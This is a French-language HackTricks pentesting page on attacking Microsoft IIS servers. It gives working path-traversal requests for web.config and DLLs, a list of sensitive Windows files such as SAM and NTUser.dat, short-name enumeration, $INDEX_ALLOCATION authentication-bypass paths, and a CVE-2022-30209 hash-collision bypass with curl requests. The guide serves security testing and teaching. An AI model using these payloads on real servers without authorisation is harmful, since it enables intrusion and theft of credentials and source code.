IIS - Internet Information Services
Reading time: 11 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Tester les extensions de fichiers exécutables :
- asp
- aspx
- config
- php
Divulgation de l'adresse IP interne
Sur tout serveur IIS où vous obtenez un 302, vous pouvez essayer de supprimer l'en-tête Host et d'utiliser HTTP/1.0 et à l'intérieur de la réponse, l'en-tête Location pourrait vous indiquer l'adresse IP interne :
nc -v domain.com 80
openssl s_client -connect domain.com:443
Réponse divulguant l'adresse IP interne :
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
Exécuter des fichiers .config
Vous pouvez télécharger des fichiers .config et les utiliser pour exécuter du code. Une façon de le faire est d'ajouter le code à la fin du fichier à l'intérieur d'un commentaire HTML : Télécharger l'exemple ici
Plus d'informations et de techniques pour exploiter cette vulnérabilité ici
Découverte IIS Bruteforce
Téléchargez la liste que j'ai créée :
Elle a été créée en fusionnant le contenu des listes suivantes :
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Utilisez-le sans ajouter d'extension, les fichiers qui en ont besoin l'ont déjà.
Traversée de chemin
Fuite de code source
Consultez l'intégralité de l'article ici : https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
note
En résumé, il y a plusieurs fichiers web.config à l'intérieur des dossiers de l'application avec des références aux fichiers "assemblyIdentity" et "namespaces". Avec ces informations, il est possible de savoir où se trouvent les exécutables et de les télécharger.
À partir des Dlls téléchargés, il est également possible de trouver de nouveaux namespaces où vous devriez essayer d'accéder et obtenir le fichier web.config afin de trouver de nouveaux namespaces et assemblyIdentity.
De plus, les fichiers connectionstrings.config et global.asax peuvent contenir des informations intéressantes.
Dans les applications .Net MVC, le fichier web.config joue un rôle crucial en spécifiant chaque fichier binaire sur lequel l'application s'appuie à travers les balises XML "assemblyIdentity".
Exploration des fichiers binaires
Un exemple d'accès au fichier web.config est montré ci-dessous :
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
Cette demande révèle divers paramètres et dépendances, tels que :
- EntityFramework version
- AppSettings pour les pages web, la validation des clients et JavaScript
- System.web configurations pour l'authentification et l'exécution
- System.webServer paramètres des modules
- Runtime liaisons d'assemblage pour de nombreuses bibliothèques comme Microsoft.Owin, Newtonsoft.Json, et System.Web.Mvc
Ces paramètres indiquent que certains fichiers, tels que /bin/WebGrease.dll, se trouvent dans le dossier /bin de l'application.
Fichiers du Répertoire Racine
Les fichiers trouvés dans le répertoire racine, comme /global.asax et /connectionstrings.config (qui contient des mots de passe sensibles), sont essentiels pour la configuration et le fonctionnement de l'application.
Espaces de Noms et Web.Config
Les applications MVC définissent également des fichiers web.config supplémentaires pour des espaces de noms spécifiques afin d'éviter des déclarations répétitives dans chaque fichier, comme le montre une demande de téléchargement d'un autre web.config :
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
Téléchargement de DLLs
La mention d'un espace de noms personnalisé suggère qu'il existe une DLL nommée "WebApplication1" présente dans le répertoire /bin. Suite à cela, une demande de téléchargement de WebApplication1.dll est affichée :
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
Cela suggère la présence d'autres DLL essentielles, comme System.Web.Mvc.dll et System.Web.Optimization.dll, dans le répertoire /bin.
Dans un scénario où une DLL importe un espace de noms appelé WebApplication1.Areas.Minded, un attaquant pourrait déduire l'existence d'autres fichiers web.config dans des chemins prévisibles, tels que /area-name/Views/, contenant des configurations spécifiques et des références à d'autres DLL dans le dossier /bin. Par exemple, une requête à /Minded/Views/web.config peut révéler des configurations et des espaces de noms qui indiquent la présence d'une autre DLL, WebApplication1.AdditionalFeatures.dll.
Fichiers courants
Depuis ici
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 Erreur 404
Si vous voyez une erreur comme celle-ci :
Cela signifie que le serveur n'a pas reçu le bon nom de domaine dans l'en-tête Host.
Pour accéder à la page web, vous pourriez jeter un œil au certificat SSL servi et peut-être que vous pourrez y trouver le nom de domaine/sous-domaine. S'il n'y est pas, vous devrez peut-être brute forcer les VHosts jusqu'à ce que vous trouviez le bon.
Anciennes vulnérabilités IIS à rechercher
Vulnérabilité/Fonctionnalité du caractère tilde “~” de Microsoft IIS – Divulgation de noms de fichiers/dossiers courts
Vous pouvez essayer d'énumérer les dossiers et fichiers à l'intérieur de chaque dossier découvert (même si cela nécessite une authentification de base) en utilisant cette technique.
La principale limitation de cette technique si le serveur est vulnérable est qu'elle ne peut trouver que les 6 premières lettres du nom de chaque fichier/dossier et les 3 premières lettres de l'extension des fichiers.
Vous pouvez utiliser https://github.com/irsdl/IIS-ShortName-Scanner pour tester cette vulnérabilité : java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
Recherche originale : https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
Vous pouvez également utiliser metasploit : use scanner/http/iis_shortname_scanner
Une bonne idée pour trouver le nom final des fichiers découverts est de demander aux LLMs des options comme cela est fait dans le script https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py
Contournement de l'authentification de base
Contourner une authentification de base (IIS 7.5) en essayant d'accéder à : /admin:$i30:$INDEX_ALLOCATION/admin.php
ou /admin::$INDEX_ALLOCATION/admin.php
Vous pouvez essayer de mélanger cette vulnérabilité et la dernière pour trouver de nouveaux dossiers et contourner l'authentification.
Débogage ASP.NET Trace.AXD activé
ASP.NET inclut un mode de débogage et son fichier s'appelle trace.axd
.
Il conserve un journal très détaillé de toutes les requêtes faites à une application sur une période de temps.
Cette information inclut les IP des clients distants, les ID de session, tous les cookies de requête et de réponse, les chemins physiques, les informations sur le code source, et potentiellement même les noms d'utilisateur et mots de passe.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/
Cookie ASPXAUTH
ASPXAUTH utilise les informations suivantes :
validationKey
(chaîne) : clé hexadécimale à utiliser pour la validation de signature.decryptionMethod
(chaîne) : (par défaut “AES”).decryptionIV
(chaîne) : vecteur d'initialisation encodé en hexadécimal (par défaut un vecteur de zéros).decryptionKey
(chaîne) : clé encodée en hexadécimal à utiliser pour le déchiffrement.
Cependant, certaines personnes utiliseront les valeurs par défaut de ces paramètres et utiliseront comme cookie l'email de l'utilisateur. Par conséquent, si vous pouvez trouver un site web utilisant la même plateforme qui utilise le cookie ASPXAUTH et que vous créez un utilisateur avec l'email de l'utilisateur que vous souhaitez usurper sur le serveur attaqué, vous pourrez peut-être utiliser le cookie du second serveur dans le premier et usurper l'utilisateur.
Cette attaque a fonctionné dans ce writeup.
Contournement de l'authentification IIS avec des mots de passe mis en cache (CVE-2022-30209)
Rapport complet ici : Un bug dans le code n'a pas correctement vérifié le mot de passe donné par l'utilisateur, donc un attaquant dont le hash du mot de passe correspond à une clé déjà dans le cache pourra se connecter en tant que cet utilisateur.
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.